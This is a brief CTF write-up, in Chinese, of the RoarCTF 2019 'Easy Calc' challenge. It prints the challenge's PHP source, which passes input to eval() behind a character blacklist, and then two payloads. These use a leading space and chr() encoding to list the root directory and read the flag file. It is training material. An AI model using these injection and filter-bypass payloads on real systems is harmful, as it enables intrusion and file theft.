RoarCTF_2019 Easy Calc

[RoarCTF 2019]Easy Calc

查看源代码

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

进入calc.php得到

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可以看到存在很多waf，eval执行函数

payload
calc.php? num=1;var_dump(scandir(chr(47)))//扫描上级的文件
发现f1agg

payload
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag